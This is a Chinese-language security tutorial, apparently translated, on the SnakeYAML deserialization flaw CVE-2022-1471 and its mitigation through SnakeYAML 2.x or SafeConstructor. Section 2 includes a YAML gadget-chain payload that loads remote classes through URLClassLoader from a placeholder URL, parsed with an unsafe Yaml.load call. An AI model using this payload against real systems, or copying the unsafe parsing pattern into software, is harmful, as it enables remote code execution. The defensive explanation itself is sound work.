使用 SnakeYAML 2.0 解決 CVE-2022-1471
1. 概述
在本文中,我們將探討**CVE-2022-1471 ,這是 Spring Boot 中透過SnakeYAML (一種用於解析 YAML 的流行 Java 函式庫)引入的嚴重漏洞**。我們還將探討 SnakeYAML 2.0 如何解決此問題以及如何在我們的專案中應用更新以保護我們的應用程式。
Spring Boot 2.7.x 及更早版本在內部使用 SnakeYAML 1.x,使應用程式容易受到此問題的影響。
2.了解CVE-2022-1471
CVE-2022-1471是SnakeYAML中不安全反序列化所導致的漏洞。該庫允許反序列化任意物件。
攻擊者可以利用此行為在伺服器上執行惡意程式碼。當 SnakeYAML 反序列化包含意外或危險物件類型的不受信任的 YAML 輸入時,可能會發生這種情況:
public void parse() {
String exploitPayload = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://dosattack/\"]\n" +
" ]]\n" +
"]";
// Unsafe YAML parsing
Yaml yaml = new Yaml();
Object result = yaml.load(exploitPayload);
log.info("Deserialized object: {}", result);
}
此parse()
方法處理嘗試使用URLClassLoader
載入外部資源的惡意 YAML 負載。它強調了不受信任的 YAML 輸入如何導致危險物件類型的反序列化,從而可能使攻擊者能夠執行惡意程式碼。
此類漏洞可能導致遠端程式碼執行 (RCE),使其成為嚴重的安全問題。
3. SnakeYAML 2.0 解決了 CVE-2022-1471
為了減輕 CVE-2022-1471 帶來的風險,SnakeYAML 引入了關鍵改進,特別是在更安全的預設值和對反序列化的嚴格控制方面。
3.1.預設的 SafeLoader
在 SnakeYAML 中,載入器將 YAML 輸入轉換為 Java 物件。不同的載入器決定了可以反序列化的物件類型。在 2.0 版本之前,SnakeYAML 預設使用更寬鬆的載入器,允許反序列化任意物件類型。
SnakeYAML 2.0 現在預設使用SafeLoader
。此載入器僅反序列化基本資料類型,例如String
、 Integer
、 List
和Map
。它可以防止複雜或潛在有害物件的反序列化,除非明確允許:
Yaml yaml = new Yaml(); // Uses SafeLoader by default
SafeLoader
確保僅處理基本資料結構,從而顯著減少反序列化漏洞的攻擊面。
3.2.適用於進階用例的自訂載入器
SnakeYAML 2.0 允許開發人員為需要更複雜物件反序列化的應用程式使用自訂載入器。這可以更好地了解正在反序列化的類型,需要明確配置來處理非基本類型:
Yaml yaml = new Yaml(new Constructor(Customer.class));
雖然這可以實現自訂類型的反序列化,但管理允許哪些類別對於確保安全性至關重要。
4. 緩解 CVE-2022-1471
為了緩解 CVE-2022-1471 漏洞,我們有兩個選擇。我們可以升級到 SnakeYAML 2.0,它預設強制執行更安全的反序列化實踐。或者,我們可以在舊版本中手動使用SafeConstructor
。
4.1.升級到 SakeYAML 2.x
為了緩解此漏洞,我們需要升級到SnakeYAML 2.x 。此版本透過預設強制執行更安全的反序列化實踐來解決 CVE-2022-1471。
讓我們透過更新pom.xml
將 SnakeYAML 2.0 包含在 Maven 專案中:
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>2.3</version>
</dependency>
4.2.較低版本使用SafeConstructor
如果無法立即升級到 2.0,我們可以透過手動使用SafeConstructor
來緩解早期版本中的漏洞:
Yaml yaml = new Yaml(new SafeConstructor());
SafeConstructor
限制可以反序列化的物件類型,為使用舊 SnakeYAML 版本的應用程式提供權宜之計。
5. 避免不安全的反序列化
必須採取進一步的預防措施,以避免 SnakeYAML 或任何 YAML 解析器中不安全的反序列化:
- 限制允許的類型:我們應該始終將反序列化限制為一組有限的可信類型,並避免反序列化任意或複雜的物件圖,除非必要。
- 驗證輸入:我們應該在解析之前根據模式或一組期望驗證 YAML 輸入,並避免在沒有仔細驗證的情況下解析不受信任的 YAML 資料。
六、結論
在本快速教程中,我們探討了CVE-2022-1471,該漏洞由於SnakeYAML 中的不安全反序列化而引入了重大安全風險,特別是在使用Spring Boot 2.7.x 的應用程式中,該應用程式依賴易受攻擊的SnakeYAML 1.x 版本。 SnakeYAML 2.0 的發布透過引入 SafeLoader 解決了這個問題,顯著增強了安全性。
為了保護我們的應用程式免受此漏洞的影響,升級到 SnakeYAML 2.0 或覆蓋 Spring Boot 專案中舊的 SnakeYAML 版本至關重要。
本文中提供的所有程式碼都可以在 GitHub 上取得。